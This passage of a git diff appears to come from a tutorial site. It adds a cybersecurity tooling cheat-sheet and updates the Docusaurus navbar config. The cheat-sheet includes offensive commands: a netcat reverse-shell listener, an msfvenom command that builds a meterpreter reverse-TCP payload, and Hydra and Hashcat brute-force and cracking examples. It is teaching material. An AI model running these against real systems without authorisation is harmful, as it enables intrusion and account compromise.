+**Nmap** — network discovery & port scanning +* Install: `sudo apt install nmap` +* Example: + + ```bash + nmap -sS -p- -T4 -oN full-scan.txt 192.168.56.0/24 + ```` + + :::tip + Use NSE scripts (`--script`) to extend discovery (vuln, auth, http-enum). + ::: + +**Masscan** — extremely fast Internet-scale port scanner +* Install: compile from source or package manager. +* Example: + + ```bash + masscan -p0-65535 10.0.0.0/8 --rate=10000 -oX masscan.xml + ``` + + :::caution + noisy — use in lab and with permission. + ::: + +**Amass** — subdomain enumeration & intelligence gathering +* Install: `go install github.com/OWASP/Amass/v3/...` (or package) +* Example: + + ```bash + amass enum -d example.com -o amass.txt + ``` + +## Port & Service Scanning + +**RustScan** — fast port scanner combining speed with nmap integration +* Example: + + ```bash + rustscan -a 192.168.1.10 -b 1500 -- -sV -oN rust-nmap.txt + ``` + +**Netcat (nc)** — swiss-army TCP/UDP utility for banner grabbing and simple transfers +* Example: + + ```bash + nc -lvnp 4444 # listen for reverse shells + nc target 80 # manual HTTP/ banner checks + ``` + +## Web Application Testing + +**Burp Suite** — proxy, Repeater, Intruder, Scanner (Pro) +* Install: download .jar or installer (Community & Pro). +* Workflow: configure browser proxy → intercept → send to Repeater/Intruder → scan (Pro). + +**OWASP ZAP** — open-source web app scanner & proxy +* Install: package manager or download bundles. +* Use for scripted scans in CI. + +**Nikto** — web server vulnerability scanning (server-focused) +* Example: + + ```bash + nikto -h https://example.local -output nikto.html -Format html + ``` + +**gobuster / dirsearch** — directory & file discovery +* Example: + + ```bash + gobuster dir -u http://target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + ``` + +## Exploitation Frameworks + +**Metasploit Framework** — exploitation, payloads, post-exploitation (msfconsole, msfvenom) +* Start: + + ```bash + msfconsole + msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o shell.exe + ``` + +Use responsibly in labs and documented engagements. + +**Cobalt Strike** — commercial red-team platform (licensed) +Used for emulation and complex engagement orchestration (only with license & legal use). + +## Password Cracking & Auth Testing + +**John the Ripper (Jumbo)** — flexible CPU-based cracking & formats +* Example: + + ```bash + john --wordlist=/usr/share/wordlists/rockyou.txt --rules unshadowed.txt + ``` + +**Hashcat** — GPU-accelerated password cracking +* Example: + + ```bash + hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -w 3 + ``` + +**Hydra** — online login brute-forcer (SSH, FTP, HTTP forms) +* Example: + + ```bash + hydra -L users.txt -P rockyou.txt ssh://192.168.56.101 -t 4 -f + ``` + + :::warning + can lock accounts — use slow rates and lab targets. + ::: + +## Vulnerability & Compliance Scanners + +* **Nessus** — commercial vulnerability scanner (enterprise-grade) +* **OpenVAS / Greenbone** — open-source vulnerability management suite +* Example OpenVAS startup: configure via web UI and run schedule scans. + +**Trivy** — container & image scanning for vulnerabilities (fast, CI-friendly) +* Example: + + ```bash + trivy image ubuntu:20.04 + ``` + +**Snyk / Dependabot** — dependency scanning for code repos (DevSecOps integration) + +## Network Analysis & Packet Capture + +* **Wireshark** — GUI packet analysis (follow TCP streams, export objects) +* **tcpdump** — CLI packet capture, BPF filters +* Example: + + ```bash + sudo tcpdump -i eth0 -nn -s 0 -w capture.pcap + ``` + +* **tshark** — CLI version of Wireshark for automation +* **tcpflow** — reassemble flows for file extraction + +## Monitoring, SIEM & Detection + +**Splunk** — enterprise SIEM / log analytics (free dev tier available) +* Example SPL: + + ```spl + index=web_logs status=500 | stats count by uri + ``` + +* **ELK / Elastic Stack (Elasticsearch, Logstash, Kibana)** — open alternative to Splunk +* **Security Onion** — SOC distro bundling Zeek, Suricata, Wazuh, Elastic, TheHive — great for blue team labs. +* **Wazuh** — host-based monitoring (HIDS) and EDR-like features. + +## Digital Forensics & Memory Analysis + +* **Autopsy / Sleuth Kit** — disk image analysis, file carving, timelines +* **Volatility 2/3** — memory forensics, malfind, netscan, cmdline extraction +* Example: + + ```bash + python3 vol.py -f mem.raw windows.pslist + ``` + +* **FTK Imager / WinPMem / LiME** — memory & disk acquisition tools + +## Malware Analysis & Sandboxing + +* **Cuckoo Sandbox** — automated malware analysis platform (dynamic analysis) +* **Any.run** — interactive cloud-based sandbox (commercial) +* **YARA** — signature rules for detecting malware families +* **rizin / radare2 / Ghidra** — reverse engineering tools (disassembly & analysis) + +## Cloud & DevSecOps Tools + +* **AWS CLI / Azure CLI / gcloud** — cloud administration & auditing (enable logging & inventory) +* **ScoutSuite / Prowler / PMapper** — cloud security posture assessment tools +* **Terrascan / Checkov** — IaC (Terraform/CloudFormation) scanning for misconfigurations + +* **kube-bench / kube-hunter** — Kubernetes security auditing and hunting tools + +## Utilities & Helpers + +* **jq** — JSON processor (handy when parsing API responses) +* Example: + + ```bash + cat out.json | jq '.vulnerabilities[] | {id, severity}' + ``` + +* **grep / ripgrep / awk / sed** — text processing basics +* **Docker & Docker Compose** — spin up lab services and vulnerable apps +* **screen / tmux** — session multiplexers for long-running jobs + +## Workflow Diagram (Typical tool flow) + +```mermaid +flowchart LR + Recon[Nmap / Amass / RustScan] --> Scan[Nessus / OpenVAS / Nikto] + Scan --> Web[Burp / ZAP] + Web --> Exploit[Metasploit / Manual Exploits] + Exploit --> Post[Meterpreter / PrivEsc Tools] + Recon --> Monitor[Security Onion / Splunk] + Monitor --> Forensics[Autopsy / Volatility] +``` + +## Recommended Tooling Bundles (by role) + +* **Pentester (Offensive)**: Kali Linux (Metasploit, Burp, John, Hashcat, Hydra, Nmap, Nikto, Gobuster) +* **Blue Team / SOC Analyst**: Security Onion, Splunk/ELK, Wazuh, Zeek, Suricata, TheHive/Cortex +* **Forensics/IR**: Autopsy, Sleuth Kit, Volatility, FTK Imager, YARA, Plaso/Timesketch +* **Cloud Security**: AWS CLI, ScoutSuite, Prowler, Trivy, kube-bench + +## Best Practices for Tooling & Lab Hygiene + +* Keep **tool versions documented** in your lab notes. +* Use **isolated networks** for all offensive testing. +* Prefer **read-only acquisition** for forensic evidence. +* Keep a **snapshot** before destructive or high-impact tests. +* Use **credential rotation** in lab VMs (do not reuse real credentials). +* Automate installs with scripts or IaC for reproducible labs. + +## Further Reading & References + +* Tool documentation & manpages (always your first source). +* Official GitHub repos for each tool — many have install scripts and examples. +* Lab writeups & CTF reports — great for learning real workflows. \ No newline at end of file diff --git a/docusaurus.config.js b/docusaurus.config.js index 06395d3..ca5cd68 100644 --- a/docusaurus.config.js +++ b/docusaurus.config.js @@ -126,32 +126,51 @@ const config = { href: "https://codeharborhub.github.io/", target: "_self", }, - items: [ + items: [ { - type: "dropdown", + to: "/tutorial/", html: '📚 Tutorials', - position: "left", - items: [ - { - type: "html", - value: `
- -
- HTML - CSS - JavaScript - Git - GitHub - React - Cyber Security -
-
`, - }, - ], + position: "left" + }, + { + to: "/tutorial/category/html/", + html: '🧱 HTML', + position: "left" + }, + { + to: "/tutorial/css/introduction/what-is-css/", + html: '🎨 CSS', + position: "left" + }, + { + to: "/tutorial/javascript/introduction-to-javascript/what-is-js", + html: '⚡ JavaScript', + position: "left" }, + { + to: "/tutorial/git/introduction", + html: '🌳 Git', + position: "left" + }, + { + to: "/tutorial/github/introduction-to-github", + html: '🐙 JavaScript', + position: "left" + }, + { + to: "/tutorial/react/react-intro", + html: '⚛️ React', + position: "left" + }, + { + to: "/tutorial/cybersecurity", + html: '🛡️ Cyber Security', + position: "left" + }, + { to: "https://codeharborhub.github.io/blog", - label: "Blog", + html: '📝 Blog', position: "right" }, { @@ -302,7 +321,7 @@ const config = { // theme: prismThemes.vsDark, darkTheme: prismThemes.dracula, // darkTheme: prismThemes.github, - additionalLanguages: ["powershell"], + additionalLanguages: ["powershell", "php", "bash"], }, docs: { sidebar: {